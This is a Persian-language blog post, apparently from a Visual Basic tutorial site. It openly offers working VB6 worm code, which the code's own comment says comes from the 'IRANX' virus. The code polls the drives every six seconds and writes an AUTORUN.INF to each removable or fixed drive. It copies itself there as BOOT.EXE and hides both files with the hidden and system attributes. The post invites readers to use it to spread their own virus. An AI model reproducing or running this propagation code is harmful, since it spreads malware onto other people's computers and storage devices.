::..::••:: کپی ویروس در حافظه های جانبی مثل رم موبایل و فلش ( آم

دوستان عزیز با استفاده از این کد شاید قدیمی ولی کاربردی می توانید ویروس خود را هنگامی که کاربر رم(حافظه جانبی مثل رم موبایل یا فلش ها و MP3 Player) را به رایانه متصل کرد،کپی کنید.دستورات این ویروس به این صورت می باشند که هر چند ثانیه یکبار تمامی درایو ها از جمله درایو های خود هارد و دیگر درایو ها که گفته شد را چک می کند و در صورت حاضر بودن آنها ویروس را در آن کپی می کند.برای اسفاده از این کد نیاز به ایجاد یک Timer به نام tmrRamDisk دارید.پس از ایجاد تایمر فقط برنامه را کامپایل کرده و اجرا کنید.

کدها:

Private Sub tmrRamDisk_Timer()
On Error Resume Next
'For Test This Code Create a Timer with Name of 'tmrRamDisk'
'then Set the Interval Property to '6000' (Means Check the Drives
'Every 6 Seconds.)
'
'Created by X$X Team.Please Don't Remove this Comment.
'This Code is Used in IRANX Virus that Created By X$X Team,
'I Show it to you Only For Learn,OK ?
Static Drvs(26)

'Create an Object Link to FileSystem Commands
Set Fso=CreateObject("Scripting.FileSystemObject")

'Put Drives Names in the Array if Array was Empty
If CStr(Drvs(0)) = "" Then
   a = 0
    For Each Dr In Fso.Drives
 	If Dr.DriveType = 5 Or Dr.DriveType = 2 Or Dr.DriveType = 3 Then
	Drvs(a) = Dr
	a = a + 1
    	End If
    Next
End If

'Check Every Drive to Copy the Virus to It:
    For Each Drv In Drvs
'If Before the Virus Copied to The Drive Then Goes for Next Drive
        If Fso.fileExists(Drv & "\AUTORUN.INF") = True And Fso.fileExists(Drv & "\BOOT.EXE") = True Then GoTo nx
        If Fso.getDrive(Drv).isReady = True Then 'If Drive was Ready then Copy 
				            'Virus in it.
        aut = "[AUTORUN]" & vbCrLf & "shell\open\command=boot.exe" & vbCrLf & "shell\explore\command=boot.exe" & vbCrLf & "shell\find\command=boot.exe"
            
            'Remove Last File of AUTORUN.INF
            If Fso.fileExists(Drv & "\AUTORUN.INF") = True Then
            SetAttr Drv & "\AUTORUN.INF", vbArchive
            Fso.DeleteFile Drv & "\AUTORUN.INF", True
            End If
            
            'Remove Last File of BOOT.EXE (Main Virus)
            If Fso.fileExists(Drv & "\BOOT.EXE") = True Then
            SetAttr Drv & "\BOOT.EXE", vbArchive
            Fso.DeleteFile Drv & "\BOOT.EXE", True
            End If
            
        Fso.createTextFile(Drv & "\AUTORUN.INF").write aut
        MyPath = App.Path & "\" & App.EXEName & ".exe"
        Fso.CopyFile MyPath, Drv & "\BOOT.EXE", True
        
        SetAttr Drv & "\BOOT.EXE", vbHidden + vbSystem 'Set Hidden and System Attr for Maximum Hiding
        SetAttr Drv & "\AUTORUN.INF", vbHidden + vbSystem 'Set Hidden and System Attr for Maximum Hiding
        End If
nx:
        DoEvents
    Next
'WWW.XSX-VBS.Mihanblog.COM
End Sub

آرش دوشنبه 22 بهمن‌ماه سال 1386 ساعت 12:50 ب.ظ

آموزش ویژوال بیسیک و برنامه نویسی

آموزش ویژوال بیسیک و برنامه نویسی

درباره من